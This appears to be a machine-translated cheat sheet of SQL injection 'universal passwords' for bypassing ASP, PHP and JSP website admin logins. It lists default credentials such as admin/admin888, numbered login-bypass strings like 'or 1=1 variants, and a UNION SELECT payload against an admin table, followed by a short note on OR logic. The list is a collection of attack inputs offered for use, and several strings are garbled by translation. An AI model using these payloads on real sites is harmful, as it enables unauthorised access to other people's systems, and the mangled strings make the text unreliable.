Website universal password

Penetration common universal password Latest Finishing all kinds of website programs background universal login password Daquan:
Many default backend passwords
Admin
Admin
Admin
Admin888

Asp aspx universal password
1: "or" a "="
2: ') or ('A' = 'a
3: or 1 = 1-
4: 'or 1 = 1-
5: a' or '1 = 1-
6: "or 1 = 1-
7: 'or 'A' = 'a
8: "or" = "A' = 'a
9: 'or "='
10: 'or' = 'or'
11: 1 or '1' = '1' = 1
12: 1 or '1' = '1' or 1 = 1
13: 'OR 1 = 1% 00
14: "or 1 = 1% 00
15: 'xor
16: new universal Login Password
Username 'Union Select, 1 FROM admin Where '=' Replace Table Name admin)
Password 1
Username =-1% cf 'Union select 1%, 1 as password, 23
Password = 1
17. admin 'or 'A' = 'a password.
PHP universal password
'Or' = 'or'

'Or 1 = 1/* can be used to test whether the two-dimensional GPC is enabled?
User: something
Pass: 'OR '1' = '1
Jsp universal password
1' or '1' = '1
Admin 'OR 1 = 1 /*

User name: This user is used only when the admin system exists.
Password: 1' or '1' = '1
The use of universal passwords is attributed to the following OR programs written by programmers:
And logical operation result: True -- true = true; false -- true = false; true -- false = false; false -- false = false.
Or logical operation result: True -- true = true; false -- true = true; true -- false = true; false -- false = false.

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